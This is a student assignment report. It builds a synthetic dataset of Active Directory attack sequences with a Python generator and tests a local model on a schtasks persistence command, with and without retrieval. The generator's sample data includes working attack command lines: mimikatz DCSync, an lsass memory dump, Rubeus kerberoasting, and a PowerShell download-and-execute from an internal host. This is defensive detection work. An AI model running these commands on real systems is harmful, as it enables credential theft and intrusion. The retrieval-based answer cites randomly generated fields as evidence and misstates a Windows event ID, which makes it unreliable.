

大型語言模型與資訊安全系統

Applying Large Language Models in Cybersecurity Systems

劉定睿

日期：2026-04-05

TASK 1: Dataset Collection and Preparation

Dataset review

- Dataset: https://huggingface.co/datasets/Tanvi289/Cybersecurity_Attack_Dataset
- Column name:
 - ID
 - Title
 - Category
 - Attack Type
 - Scenario Description
 - Tools Used
 - Attack Steps
 - Target Type
 - Vulnerability
 - MITRE Technique
 - Impact
 - Detection Method
 - Solution
 - Tags
 - Source
 - Unnamed

there's some column name that I never thought of that. For example:

- **Tool used** : Mark as **Tool used** can let security engineer detect the tool's character more faster.
- **Solution** : In **Solution** column. there's show the mitigation method of each vulnerability. It can help developer patch the vulnerabilities more precisely.
- **Source** : **Source** is the website or official material of the vulnerabilities. It provide the introduction and more details info of the vulnerabilities. Security engineer can handle the vulnerabilities more faster.

Design the dataset

- Choose a security-related topic: AD Privilege Escalation & Lateral Movement

Schema Design

由於 AD 攻擊的本質是狀態轉移 (State Transition) 和序列行為 (Sequential Behavior)，我設計的資料集結構更傾向於一個圖數據庫 (Graph Database) 的概念體現，但以標準化的 JSON 結構來呈現，方便模型預訓練。

Schema name : ad_attack_sequence

Field Name	Description	Notes/Example
sequence_id	識別這條完整的攻擊鏈路。	這是分析的最高層級ID。
timestamp_utc	發生該事件的精確時間戳。	決定了攻擊的順序。
actor_entity	攻擊執行的主體。	<code>{"type": "User/Service Account", "identifier": "jdoe", "sAMAccountName": "jdoe"}</code>
action_type	系統發生的核心行為類型。	<code>["LDAP_Query", "Kerberos_Ticket_Request", "Process_Execution", "Authentication_Attempt"]</code>
target_entity	被攻擊或查詢的對象。	<code>{"type": "AD_Object", "name": "Domain Admins Group", "DN": "CN=Domain Admins,DC=corp"}</code>
action_payload	該行動攜帶的具體參數和內容。	範例： <code>{"query_filter": "(&(objectClass=user)(sAMAccountName=*))", "output_attributes": ["userPrincipalName", "memberOf"]}</code>
context_info	觸發此次行動的先前狀態/環境。	範例： <code>{"preceding_privilege_level": "Standard User", "last_successful_auth_method": "VPN"}</code>
network_context	網路傳輸層的資訊。	<code>{"source_ip": "10.1.1.5", "destination_ip": "192.168.1.10", "port": 88}</code> (用於網路封包分析)
detection_alert	安全監控系統 (如 SIEM/EDR) 觸發的警報資訊。	<code>{"alert_rule": "Suspicious_Group_Membership_Change", "severity": "High"}</code>
attack_stage	將該事件歸類到攻擊生命週	<code>[Reconnaissance, Credential_Theft, Privilege_Escalation, Lateral_Movement]</code>

Field Name	Description	Notes/Example
	期的哪一階段。	

Schema 如何幫助模型理解資料 (Model Comprehension)

1. 確立時空序列與因果關係 (Time, Space, and Causality)

- **問題所在：** 傳統模型看到 A (查詢使用者列表) → B (使用 `mimikatz`)，只會將這兩個事件視為兩個獨立的「事件紀錄」。
- **Schema 幫助：** 透過嚴格定義 `timestamp_utc` 搭配 `sequence_id`，模型被迫將整個流程視為一個有時間順序的因果鏈 (**Causal Chain**)。模型學會了：`sequence_id` 內的 $Event_N$ 的成功，是 $Event_{N-1}$ 的**直接前提**。例如，如果 `action_type` 是 `Kerberos_Ticket_Request`，模型會立刻預期 `context_info` 中必須包含一個有效的 `authentication_attempt` 記錄。

2. 區分「行為」與「屬性」 (Behavior vs. Attributes)

- **問題所在：** 攻擊者可能會查詢一個名正言順的群組 (如 `Domain Admins`)，但其行為本身就是惡意的。
- **Schema 幫助：** 將 `target_entity` (目標屬性) 與 `action_type` (執行行為) 分開。模型學會了區分：
 - **屬性 (Attribute):** `target_entity` 告訴模型「這是個高權限群組」。
 - **行為 (Behavior):** `action_type` 告訴模型「但這個行為是嘗試 *列出* 這個群組的成員，而非僅僅是查詢」。
 - 當 `action_type` (查詢) 搭配 `context_info` (來源IP來自非工作站) 時，模型能判斷這是一種**異常的行為**，即使目標群組本身是合法的。

3. 建立狀態記憶 (State Memory)

- **Schema 幫助：** `context_info` 欄位是模擬「記憶體」的核心。它強制模型在處理每個事件前，必須先查詢前一個或前幾個事件的「狀態摘要」。
- **實戰體現：** 如果某個帳號在 A 階段因為密碼過期而登入失敗，這個失敗的狀態必須被記錄在 `context_info` 中。當後續的攻擊嘗試 (例如，嘗試使用該帳號的舊憑證) 發生時，模型會因為「記憶體警告」而提高警報級別，這是純文本模型難以做到的深度分析。

Create the dataset

- Base on the Field name mentioned above. Create the python script to generate a csv dataset which content 1000 rows.

```
import json
import csv
import random
import uuid
from datetime import datetime, timedelta

# — 基礎參數池 —————

USERS = [
    ("jsmith", "jsmith@corp.local", "User Account"),
    ("wlee", "wlee@corp.local", "User Account"),
    ("bchen", "bchen@corp.local", "User Account"),
    ("mwang", "mwang@corp.local", "User Account"),
    ("alin", "alin@corp.local", "User Account"),
    ("thsu", "thsu@corp.local", "User Account"),
    ("kchang", "kchang@corp.local", "User Account"),
    ("ywu", "ywu@corp.local", "User Account"),
    ("svc-mssql", "svc-mssql@corp.local", "Service Account"),
    ("svc-backup", "svc-backup@corp.local", "Service Account"),
    ("svc-web", "svc-web@corp.local", "Service Account"),
    ("svc-scan", "svc-scan@corp.local", "Service Account"),
    ("Administrator", "administrator@corp.local", "Privileged Account"),
]

HOSTS = [
    ("WORKSTATION-01", "10.10.1.11", "OU=Workstations,DC=corp,DC=local"),
    ("WORKSTATION-02", "10.10.1.12", "OU=Workstations,DC=corp,DC=local"),
    ("WORKSTATION-03", "10.10.1.13", "OU=Workstations,DC=corp,DC=local"),
    ("WORKSTATION-04", "10.10.1.14", "OU=Workstations,DC=corp,DC=local"),
    ("WORKSTATION-05", "10.10.1.15", "OU=Workstations,DC=corp,DC=local"),
    ("FILESERVER-01", "10.10.2.15", "OU=Servers,DC=corp,DC=local"),
    ("FILESERVER-02", "10.10.2.16", "OU=Servers,DC=corp,DC=local"),
    ("SQLSERVER-01", "10.10.2.20", "OU=Servers,DC=corp,DC=local"),
    ("WEBSERVER-01", "10.10.2.30", "OU=Servers,DC=corp,DC=local"),
    ("DC01", "192.168.1.10", "OU=Domain
Controllers,DC=corp,DC=local"),
    ("DC02", "192.168.1.11", "OU=Domain
Controllers,DC=corp,DC=local"),
]
```

```

DC_IPS = ["192.168.1.10", "192.168.1.11"]

AD_OBJECTS = [
    ("Domain Admins Group",      "CN=Domain
Admins,CN=Users,DC=corp,DC=local",      "AD_Object"),
    ("Enterprise Admins Group",  "CN=Enterprise
Admins,CN=Users,DC=corp,DC=local",      "AD_Object"),
    ("Domain Users (All)",       "DC=corp,DC=local",
"AD_Object"),
    ("Group Policy Objects",     "CN=Policies,CN=System,DC=corp,DC=local",
"AD_Object"),
    ("AdminSDHolder",
"CN=AdminSDHolder,CN=System,DC=corp,DC=local",      "AD_Object"),
    ("svc-mssql",               "CN=svc-
mssql,OU=ServiceAccounts,DC=corp,DC=local","Service Account"),
    ("svc-backup",              "CN=svc-
backup,OU=ServiceAccounts,DC=corp,DC=local","Service Account"),
    ("krbtgt",                  "CN=krbtgt,CN=Users,DC=corp,DC=local",
"Service Account"),
]

ATTACK_STAGE_PROFILES = {
    "Reconnaissance": {
        "action_types": ["LDAP_Query"],
        "weight": 0.30,
        "severity_pool": ["Low","Medium","Medium","High"],
        "mitre_pool": ["T1087.002","T1069.002","T1615","T1018"],
        "alert_pool": [
            "Suspicious_LDAP_Enumeration",
            "AdminSDHolder_Group_Query",
            "ASREP_Roasting_Enumeration",
            "GPO_Enumeration_Suspicious_Account",
            "BloodHound_Pattern_Detected",
            "Large_LDAP_Result_Set",
        ],
    },
    "Credential_Theft": {
        "action_types":
["Kerberos_Ticket_Request","Process_Execution","Authentication_Attempt"],
        "weight": 0.30,
        "severity_pool": ["High","High","Critical","Medium"],
        "mitre_pool":
["T1558.003","T1558.004","T1003.001","T1003.006","T1550.002"],
        "alert_pool": [
            "Kerberoasting_RC4_Downgrade",
            "ASREP_Roasting_Ticket_Harvest",
        ],
    },
}

```

```

        "LSASS_Memory_Dump_Detected",
        "DCSync_Replication_Rights",
        "Mimikatz_Detected",
        "Credential_Dumping_Process",
    ],
},
"Privilege_Escalation": {
    "action_types":
["Process_Execution","Authentication_Attempt","LDAP_Query"],
    "weight": 0.20,
    "severity_pool": ["High","Critical","Critical","High"],
    "mitre_pool": ["T1098","T1484.001","T1134","T1068"],
    "alert_pool": [
        "Local_Admin_Group_Modification",
        "GPO_Modification_Detected",
        "Token_Impersonation_Detected",
        "Privileged_Account_New_Src_IP",
        "AdminSDHolder_Modification",
        "UAC_Bypass_Attempt",
    ],
},
"Lateral_Movement": {
    "action_types": ["Authentication_Attempt","Process_Execution"],
    "weight": 0.20,
    "severity_pool": ["High","High","Medium","Critical"],
    "mitre_pool": ["T1550.002","T1021.002","T1021.006","T1080"],
    "alert_pool": [
        "Pass_The_Hash_Lateral_Movement",
        "Remote_Service_Execution",
        "WMI_Remote_Execution",
        "Suspicious_Admin_Share_Access",
        "PsExec_Remote_Execution",
        "SMB_Lateral_Movement",
    ],
},
}

```

```

LDAP_FILTERS = [
    "(&(objectClass=user)(sAMAccountName=*))",
    "(&(objectClass=group)(adminCount=1))",
    "(&(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=4194304))",
    "(objectClass=groupPolicyContainer)",
    "(&(objectClass=computer)(operatingSystem=*Server*))",
    "(&(objectClass=user)(servicePrincipalName=*))",
    "(&(objectClass=trustedDomain))",

```

```

    "&(objectClass=user)(pwdLastSet=0)",
]

LDAP_ATTRS = [
    ["userPrincipalName","memberOf","servicePrincipalName"],
    ["distinguishedName","member","adminCount"],
    ["sAMAccountName","userPrincipalName","lastLogon"],
    ["gPCFileSysPath","versionNumber","displayName"],
    ["dnsHostName","operatingSystem","lastLogonTimestamp"],
]

CMDLINES = [
    ("SharpHound.exe", "SharpHound.exe -c All --zipfilename bloodhound.zip",
"cmd.exe"),
    ("mimikatz.exe", "mimikatz.exe \"lsadump::dcsync /domain:corp.local
/all /csv\"", "cmd.exe"),
    ("procdump.exe", "procdump.exe -accepteula -ma lsass.exe lsass.dmp",
"cmd.exe"),
    ("Rubeus.exe", "Rubeus.exe kerberoast /format:hashcat
/outfile:hashes.txt", "powershell.exe"),
    ("Rubeus.exe", "Rubeus.exe asreproast /nowrap", "powershell.exe"),
    ("net.exe", "net localgroup administrators /add corp\\svc-
backup", "psexesvc.exe"),
    ("powershell.exe", "powershell -ep bypass -c \"IEX(New-Object
Net.WebClient).DownloadString('http://10.10.5.99/ps.ps1')\"",
"explorer.exe"),
    ("SharpGPOAbuse.exe","SharpGPOAbuse.exe --AddLocalAdmin --UserAccount
svc-backup --GPOName \"Default Domain Policy\"", "cmd.exe"),
    ("wmic.exe", "wmic /node:FILESERVER-01 process call create
'cmd.exe /c whoami'", "cmd.exe"),
    ("schtasks.exe", "schtasks /create /tn Updater /tr
C:\\Windows\\Temp\\update.exe /sc onlogon /ru SYSTEM", "cmd.exe"),
]

ENC_TYPES = ["RC4-HMAC","AES256-CTS-HMAC-SHA1-96","AES128-CTS-HMAC-SHA1-
96","DES-CBC-MD5"]
AUTH_METHODS = ["NTLM","Kerberos","VPN","LDAP","Certificate"]
PRIV_LEVELS = ["Standard User","Local Admin","Domain Admin","SYSTEM","Backup
Operator","Service Account","Privileged Account"]
PROTOCOLS_PORT = {
    "LDAP": 389, "LDAPS": 636, "Kerberos": 88,
    "SMB": 445, "WMI/RPC": 135, "WinRM": 5985,
    "RDP": 3389, "HTTP": 80, "HTTPS": 443,
}

EXTERNAL_IPS = [
    "185.220.101.45","103.75.189.33","91.92.251.103",

```

```

    "45.142.212.100", "194.165.16.11", "77.83.36.22",
]

# — 序列定義 (攻擊鏈模板) —————

SEQ_TEMPLATES = [
    # 1: BloodHound Recon → Kerberoasting → DCSync

["Reconnaissance", "Reconnaissance", "Credential_Theft", "Privilege_Escalation",
 "Credential_Theft"],
    # 2: Pass-the-Hash Lateral Movement

["Credential_Theft", "Lateral_Movement", "Privilege_Escalation", "Lateral_Movemen
ent"],
    # 3: AS-REP Roasting → GPO Abuse

["Reconnaissance", "Credential_Theft", "Reconnaissance", "Privilege_Escalation"
],
    # 4: Brute Force → Spray → Escalate

["Reconnaissance", "Credential_Theft", "Credential_Theft", "Privilege_Escalatio
n", "Lateral_Movement"],
    # 5: WMI / Remote Execution chain

["Lateral_Movement", "Privilege_Escalation", "Lateral_Movement", "Lateral_Movemen
ent"],
    # 6: Short Recon only
    ["Reconnaissance", "Reconnaissance", "Reconnaissance"],
    # 7: Full Kill Chain

["Reconnaissance", "Reconnaissance", "Credential_Theft", "Credential_Theft", "Pr
ivilege_Escalation", "Lateral_Movement", "Lateral_Movement", "Credential_Theft"
],
    # 8: Credential dump spree

["Credential_Theft", "Credential_Theft", "Credential_Theft", "Lateral_Movement"
],
]

# — 生成器函式 —————

def rand_ip(subnet="10.10"):
    return f"{subnet}.{random.randint(1,5)}.{random.randint(10,99)}"

def rand_user():
    u = random.choice(USERS)

```

```

return {"type": u[2], "identifier": u[1], "sAMAccountName": u[0]}

def rand_target(action_type, stage):
    if action_type == "LDAP_Query" or stage == "Reconnaissance":
        obj = random.choice(AD_OBJECTS)
        return {"type": obj[2], "name": obj[0], "DN": obj[1]}
    elif action_type == "Kerberos_Ticket_Request":
        svc = random.choice([u for u in USERS if u[2] == "Service Account"])
        return {"type": "Service Account", "name": svc[0],
                "DN": f"CN={svc[0]},OU=ServiceAccounts,DC=corp,DC=local"}
    else:
        host = random.choice(HOSTS)
        return {"type": "Host", "name": host[0],
                "DN": f"CN={host[0]},{host[2]}"}

def rand_payload(action_type, target):
    if action_type == "LDAP_Query":
        return {
            "query_filter": random.choice(LDAP_FILTERS),
            "output_attributes": random.choice(LDAP_ATTRS),
            "scope": random.choice(["subtree","onelevel"]),
            "size_limit": random.choice([0, 500, 1000]),
        }
    elif action_type == "Kerberos_Ticket_Request":
        enc = random.choice(ENC_TYPES)
        return {
            "ticket_type": random.choice(["TGS","AS-REP"]),
            "encryption_type": enc,
            "spn": f"MSSQLSvc/{target.get('name','svc')}:1433" if "sql" in
target.get("name","").lower() else f"HTTP/{target.get('name','svc')}:443",
            "kerberoastable": enc == "RC4-HMAC",
        }
    elif action_type == "Process_Execution":
        cmd = random.choice(CMDLINES)
        return {
            "process_name": cmd[0],
            "command_line": cmd[1],
            "parent_process": cmd[2],
            "hash_md5": uuid.uuid4().hex[:24],
        }
    else: # Authentication_Attempt
        result = random.choices(["Success","Failure"], weights=[0.4,0.6])[0]
        return {
            "auth_method": random.choice(["NTLM","Kerberos"]),
            "logon_type": random.choice([2,3,10]),
            "result": result,
        }

```

```

        "failure_reason": "0xC000006D" if result == "Failure" else None,
    }

def rand_context(stage):
    return {
        "preceding_privilege_level": random.choice(PRIV_LEVELS),
        "last_successful_auth_method": random.choice(AUTH_METHODS),
        "process_name":
random.choice(["SharpHound.exe", "Rubeus.exe", "mimikatz.exe", "powershell.exe"
, "cmd.exe", None]),
        "edr_bypassed": random.choice([True, False, False, False]),
    }

def rand_network(src_ip, action_type):
    is_external = random.random() < 0.08
    actual_src = random.choice(EXTERNAL_IPS) if is_external else src_ip
    proto = "Kerberos" if action_type == "Kerberos_Ticket_Request" else \
        "LDAP" if action_type == "LDAP_Query" else \
        random.choice(["SMB", "WMI/RPC", "WinRM"])
    return {
        "source_ip": actual_src,
        "destination_ip": random.choice(DC_IPS),
        "port": PROTOCOLS_PORT.get(proto, 445),
        "protocol": proto,
        "is_external_src": is_external,
    }

def rand_alert(stage, profile):
    sev = random.choice(profile["severity_pool"])
    return {
        "alert_rule": random.choice(profile["alert_pool"]),
        "severity": sev,
        "siem_id": f"ALERT-{{random.randint(1000,9999)}}",
        "mitre_technique": random.choice(profile["mitre_pool"]),
        "triggered": random.choices([True, False], weights=[0.85, 0.15])[0],
    }

def rand_quality():
    return random.choices(
        ["clean", "clean", "clean", "clean", "dirty", "duplicate", "enriched"],
        weights=[70, 10, 5, 5, 5, 3, 2]
    )[0]

# — 主生成邏輯 —————

def generate_dataset(n=1000):

```

```

records = []
seq_counter = 1
base_time = datetime(2025, 1, 1, 0, 0, 0)

while len(records) < n:
    template = random.choice(SEQ_TEMPLATES)
    seq_id = f"SEQ-{{seq_counter:04d}}"
    seq_counter += 1

    # 每條鏈路的起始時間：在2025全年隨機
    start = base_time + timedelta(
        days=random.randint(0, 364),
        hours=random.randint(0, 23),
        minutes=random.randint(0, 59),
    )
    # 攻擊者的來源IP（整條鏈路保持一致）
    src_ip = rand_ip()

    for i, stage in enumerate(template):
        if len(records) >= n:
            break

        profile = ATTACK_STAGE_PROFILES[stage]
        action_type = random.choice(profile["action_types"])
        actor = rand_user()
        target = rand_target(action_type, stage)

        # 時間遞增（同序列內事件間隔1~90分鐘）
        ts = start + timedelta(minutes=sum(
            random.randint(1, 90) for _ in range(i)
        ))

        record = {
            "sequence_id": seq_id,
            "timestamp_utc": ts.strftime("%Y-%m-%dT%H:%M:%SZ"),
            "actor_entity": json.dumps(actor),
            "action_type": action_type,
            "target_entity": json.dumps(target),
            "action_payload": json.dumps(rand_payload(action_type,
target)),
            "context_info": json.dumps(rand_context(stage)),
            "network_context": json.dumps(rand_network(src_ip,
action_type)),
            "detection_alert": json.dumps(rand_alert(stage, profile)),
            "attack_stage": stage,
            "data_quality": rand_quality(),

```

```

        "event_id":          f"EVT-{{len(records)+1:05d}}",
    }
    records.append(record)

return records[:n]

# — 輸出 —————

if __name__ == "__main__":
    print("Generating 1000 rows...")
    dataset = generate_dataset(1000)

    # 輸出 CSV
    csv_path = "ad_attack_sequence_1000.csv"
    fieldnames = [

"event_id", "sequence_id", "timestamp_utc", "actor_entity", "action_type",
    "target_entity", "action_payload", "context_info", "network_context",
    "detection_alert", "attack_stage", "data_quality",
    ]
    with open(csv_path, "w", newline="", encoding="utf-8") as f:
        writer = csv.DictWriter(f, fieldnames=fieldnames,
extrasaction="ignore")
        writer.writeheader()
        writer.writerows(dataset)
    print(f"CSV saved: {csv_path}")

    # 輸出 JSON (巢狀結構, 還原 JSON 欄位)
    json_dataset = []
    for row in dataset:
        r = dict(row)
        for field in
["actor_entity", "target_entity", "action_payload", "context_info", "network_con
text", "detection_alert"]:
            r[field] = json.loads(r[field])
        json_dataset.append(r)

    json_path = "ad_attack_sequence_1000.json"
    with open(json_path, "w", encoding="utf-8") as f:
        json.dump(json_dataset, f, ensure_ascii=False, indent=2)
    print(f"JSON saved: {json_path}")

    # 簡易統計
    from collections import Counter
    stages    = Counter(r["attack_stage"]    for r in dataset)
    quals     = Counter(r["data_quality"]    for r in dataset)

```

```

actions = Counter(r["action_type"] for r in dataset)
seq_cnt = len(set(r["sequence_id"] for r in dataset))
print(f"\n統計摘要")
print(f" 總事件數: {len(dataset)}")
print(f" 攻擊序列數: {seq_cnt}")
print(f" 攻擊階段: {dict(stages)}")
print(f" 資料品質: {dict(quals)}")
print(f" Action Type: {dict(actions)}")

```

Generating 1000 rows...

- ✓ CSV saved: ad_attack_sequence_1000.csv
- ✓ JSON saved: ad_attack_sequence_1000.json

統計摘要

總事件數: 1000
 攻擊序列數: 217
 攻擊階段: {'Credential_Theft': 325, 'Lateral_Movement': 258, 'Privilege_Escalation': 170, 'Reconn
 issance': 247}
 資料品質: {'clean': 907, 'dirty': 50, 'duplicate': 25, 'enriched': 18}
 Action Type: {'Kerberos_Ticket_Request': 115, 'Process_Execution': 292, 'Authentication_Attempt':
 296, 'LDAP_Query': 297}

- csv file:

ad_attack_sequence_1000

工作表 1

	A	B	C	D	E	F
1	event_id	sequence_id	timestamp_utc	actor_entity	action_type	target_entity
2	EVT-00001	SEQ-0001	2025-11-08T13:28:00Z	["type": "User Account", "identifier": "tslr@corp.local", "sAMAccountName": "tslr"]	Kerberos_Ticket_Request	["type": "Service Account", "name": "svc-mssq", "DN": "CN=svc-mssq,OU=ServiceAccounts,DC=corp,DC=local"]
3	EVT-00003	SEQ-0001	2025-11-08T13:53:00Z	["type": "User Account", "identifier": "jysu@corp.local", "sAMAccountName": "jysu"]	Process_Execution	["type": "Host", "name": "WORKSTATION-01", "DN": "CN=WORKSTATION-01,OU=Workstations,DC=corp,DC=local"]
4	EVT-00004	SEQ-0001	2025-11-08T15:04:00Z	["type": "Service Account", "identifier": "svc-backup@corp.local", "sAMAccountName": "svc-backup"]	Process_Execution	["type": "Host", "name": "WORKSTATION-03", "DN": "CN=WORKSTATION-03,OU=Workstations,DC=corp,DC=local"]
5	EVT-00004	SEQ-0001	2025-11-08T16:06:00Z	["type": "User Account", "identifier": "jysu@corp.local", "sAMAccountName": "jysu"]	Process_Execution	["type": "Host", "name": "FILESERVER-02", "DN": "CN=FILESERVER-02,OU=Servers,DC=corp,DC=local"]
6	EVT-00006	SEQ-0002	2025-12-04T08:07:00Z	["type": "Service Account", "identifier": "svc-scan@corp.local", "sAMAccountName": "svc-scan"]	Authentication_Attempt	["type": "Host", "name": "WORKSTATION-02", "DN": "CN=WORKSTATION-02,OU=Workstations,DC=corp,DC=local"]
7	EVT-00006	SEQ-0002	2025-12-04T09:32:00Z	["type": "Service Account", "identifier": "svc-web@corp.local", "sAMAccountName": "svc-web"]	Process_Execution	["type": "Host", "name": "WEBSEVER-01", "DN": "CN=WEBSEVER-01,OU=Servers,DC=corp,DC=local"]
8	EVT-00007	SEQ-0002	2025-12-04T09:32:00Z	["type": "User Account", "identifier": "tmwang@corp.local", "sAMAccountName": "tmwang"]	LDAP_Query	["type": "Service Account", "name": "svc-mssq", "DN": "CN=svc-mssq,OU=ServiceAccounts,DC=corp,DC=local"]
9	EVT-00008	SEQ-0002	2025-12-04T09:36:00Z	["type": "Privileged Account", "identifier": "administrator@corp.local", "sAMAccountName": "Administrator"]	Process_Execution	["type": "Host", "name": "WEBSEVER-01", "DN": "CN=WEBSEVER-01,OU=Servers,DC=corp,DC=local"]
10	EVT-00009	SEQ-0003	2025-02-05T19:38:00Z	["type": "Privileged Account", "identifier": "administrator@corp.local", "sAMAccountName": "Administrator"]	Kerberos_Ticket_Request	["type": "Service Account", "name": "svc-backup", "DN": "CN=svc-backup,OU=ServiceAccounts,DC=corp,DC=local"]

- Open WebUI knowledge base settings:

1. workspace :

新增對話

搜尋

筆記

工作區

對話

gpt-oss:20b v +
設為預設

2. knowledge --> Create knowledge

模型 知識 提示詞 工具

← 返回

建立知識

您現在的工作是什麼？

AD attacker

您正在試圖完成什麼？

識別 AD 攻擊途徑與分析攻擊手法

可見度



私有

只有具有權限的選定使用者和群組可以存取

群組

選擇群組

沒有具有存取權限的群組，新增群組以授予存取權限

建立知識

3. Upload the structural data(json)

🔍 搜尋集合



ad_attack_sequence_1000.j... 1.2 MB

4. Use the knowledge

COLLECTION AD attacker

識別 AD 攻擊途徑與分析攻擊手法

FILE ad_attack_sequence_1000.json

AD attacker - 識別 AD 攻擊途徑與分析攻擊手法

#

+ |  程式碼直譯器

Open WebUI · v0.6.18

5. Before connecting the knowledge base:

- Prompt:

```
schtasks /create /tn Updater /tr C:\\Windows\\Temp\\update.exe /sc onlogon /ru SYSTEM 這段 cmdline 是攻擊語法嗎？是或不是的原因為何？
```

1. 先說一句：

這條 **cmd** 本身並不是「必定」的攻擊命令，而是一種 Windows 常見的持續性 (Persistence) 技術。

如果「update.exe」是惡意程式（或被攻擊者替換成惡意程式），就相當於完成了攻擊；

如果「update.exe」是合法的系統工具或某個正當應用程式的升級程式，則它只是正當使用。

2. 為什麼說它「可能」是攻擊語法

| 觀察點 | 可能的惡意跡象 | 可能的合法情境 |

|-----|-----|-----|

| **任務名稱** `Updater` | 無法直接辨識，攻擊者常取「普通」名稱 | 正常的升級程式、更新作業 |

| **執行路徑** `C:\Windows\Temp\update.exe` | Temp 資料夾通常用於惡意程式暫存，路徑不符合常見安裝位置 | 某些更新工具會把臨時檔案放於 Temp |

| **執行時間** `onlogon` | 立即啟動，典型的登錄時持續性 | 正常更新、安裝程式的安裝後續動作 |

| **執行者** `/ru SYSTEM` | SYSTEM 最高權限，能覆寫系統檔案或隱藏自己 | Windows 設定、系統維護程式 |

> **結論**

> - 只看這條命令，無法斷言「一定是惡意」。

> - 但若這個檔案並非你所信任的程式，且執行者與執行時間正好是攻擊者常用的「SYSTEM 登錄時執行」模式，那就高度可疑。

3. 如何確認它是否為攻擊

3-1. 檢查 `update.exe`

1. **位置與檔名**

```
``powershell
Test-Path "C:\Windows\Temp\update.exe"
``
```

若不存在 → 很可能是偽造或已被移除。

2. **檔案屬性**

```
``powershell
Get-Item "C:\Windows\Temp\update.exe" | Format-List *
``
```

3. **數位簽章**

```
``powershell
Get-AuthenticodeSignature "C:\Windows\Temp\update.exe"
``
```

- `Status: Valid` 且簽章者可信 → 可能是合法程式。

- `Status: UnknownError`、`NotSigned` 或簽章者不可信 → **可疑**。

4. **雜湊值**

```
``powershell
Get-FileHash "C:\Windows\Temp\update.exe" -Algorithm SHA256
``
```

- 將雜湊值比對 AV 雜湊資料庫 (VirusTotal、Hybrid Analysis 等)。
- 若被報告為已知惡意程式 → ****確定****。

5. ****逆向/靜態分析****

- 以 PEStudio、Resource Hacker 或 IDA 觀察：是否包含 `Win32_LoadLibrary`、`Win32_ProcessCreate`、`Win32_WriteFile` 等惡意常見 API。
- 若有，可疑。

3-2. 檢查排程任務

1. ****列出任務****

```
``powershell
Get-ScheduledTask -TaskName Updater | Format-List *
``
```

2. ****查看觸發器****

- `Trigger` 是否為 `OnStartup`/`OnLogon`。
- `Principal` 是否為 `SYSTEM`。

3. ****任務是否隱藏****

```
``powershell
schtasks /query /TN "Updater" /fo LIST /v
``
```

- 參數 `Hidden` 若為 `YES` → 可能為惡意。

4. ****任務行為紀錄****

- 查看 Windows 事件檔 (`Event Viewer` → Windows Logs → Security) 內的 4698/4699 (任務建立/刪除)。
- 若時間戳與可疑檔案生成時間吻合，或執行者不是你信任的使用者 → ****可疑****。

3-3. 觀察執行行為

1. ****Process Monitor**** (ProcMon)

- 觸發 `C:\Windows\Temp\update.exe` 的執行，觀察它試圖寫入哪個檔案、註冊表，或啟動其他進程。
- 若寫入 Windows 系統目錄、修改服務或安裝持續性程式，則高度可疑。

2. ****網路行為****

- 使用 `netstat -ano` 或 Wireshark 觀察它是否嘗試連接外部 IP (下載、C&C)。
- 若連外網，****可疑****。

3. ****系統資源****

- 監控 CPU、記憶體佔用；若異常高，或在背景持續啟動，可能為惡意。

4. 防禦與清除（如確認為惡意）

1. **暫停或刪除任務**

```
``powershell
Unregister-ScheduledTask -TaskName Updater -Confirm:$false
...`
```

2. **刪除 `update.exe`**

```
``powershell
Remove-Item "C:\Windows\Temp\update.exe" -Force
...`
```

3. **掃描**

– 以 Windows Defender、Microsoft Defender ATP 或任何主流 AV 進行全系統掃描。

4. **檢查註冊表**

– `HKLM\SYSTEM\CurrentControlSet\Services\`、
`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`、`RunOnce` 等。

5. **審核日誌**

– 確認沒有其他持續性程式（如 MSI、服務、Driver 等）被安裝。f

5. 小結

| 判斷項目 | 是否為攻擊？ |

|-----|-----|

| 執行檔位置 | `C:\Windows\Temp\update.exe` → 可疑（非標準安裝位置） |

| 執行者 | SYSTEM → 高權限，常見於惡意持續性 |

| 執行時間 | OnLogon → 典型持續性 |

| 檔案簽章 | 未簽名或未知簽章 → 可疑 |

| 雜湊值 | 已知惡意 → 確定 |

| 行為分析 | 連外網、寫入系統目錄 → 可疑 |

> **結論**

> 這條 cmd line 本身不是「必然的惡意」命令；若 `update.exe` 不是你信任的程式，且沒有合法的簽章與行為，則它很可能是攻擊者為建立 SYSTEM-級持續性所使用的典型技術。

> 只靠命令行本身無法斷定，必須進行上述檔案、任務、行為等多重驗證才能確定。

祝你安全排查！如果還有更具體的環境資訊（例如作業系統版本、使用的防毒軟體、系統日誌片段等），可以再提供，讓診斷更精準。

5. After connecting the knowledge base:

- Prompt:

```
schtasks /create /tn Updater /tr C:\\Windows\\Temp\\update.exe /sc onlogon
```

/ru SYSTEM 这段 cmdline 是攻击语法吗？是或不是的原因为何？

****是****，这条 `schtasks /create /tn Updater /tr C:\Windows\Temp\update.exe /sc onlogon /ru SYSTEM`` 命令通常被视为攻击语法，原因如下：

| 判断依据 | 说明 |

|-----|-----|

| ****目标路径**** | `C:\Windows\Temp\update.exe` 位于系统临时文件夹，往往不是合法应用程序的安装路径，攻击者常用此路径隐藏恶意可执行文件。 |

| ****执行用户**** | 使用 `-ru SYSTEM` 在系统账户下运行，拥有最高权限，正是攻击者利用权限提升或持久化的常见手段。 |

| ****触发时机**** | `-sc onlogon` 表示在用户登录时自动执行，属于典型的持久化技术（MITRE T1053.005）。 |

| ****上下文信息**** | 第一次示例中 `edr_bypassed:true` 且 `preceding_privilege_level: Domain Admin`，显示攻击者已获得足够权限并绕过了安全监控；第二、三例亦出现类似的高权限与可疑上下文。 [1] |

> 这些特征与已知的持久化与权限提升攻击行为高度吻合，故大概率为恶意命令。

如何确认是否为攻击

1. ****检查 `update.exe` 的完整性****

- 计算文件 MD5/SHA256 并与已知白名单对比。
- 验证文件签名，确认是否为合法软件签名。
- 若文件无签名或哈希不在白名单，极大可能为恶意。

2. ****审核任务计划程序事件****

- Windows 事件日志中，ID 4698（创建任务）/ID 4702（修改任务）/ID 4703（删除任务）记录可追溯此任务的创建与更改。
- 结合 `Task Scheduler` UI 或 PowerShell（`Get-ScheduledTask -TaskName Updater`）检查任务属性。

3. ****评估创建者身份与权限****

- 如果任务由 SYSTEM 创建，且无正常业务流程产生，说明非正常。
- 检查创建时的 `ProcessId` 与 `ParentProcessName`（例如 `cmd.exe` 或 `SharpHound.exe`）是否为合法。

4. ****监控文件执行****

- 通过 EDR 或安全信息事件管理系统（SIEM）查看 `C:\Windows\Temp\update.exe` 的执行记录。
- 若记录中出现网络连接或异常行为（如对 SMB、WinRM 等协议访问），进一步确认为恶意。

5. ****比对已知攻击模式****

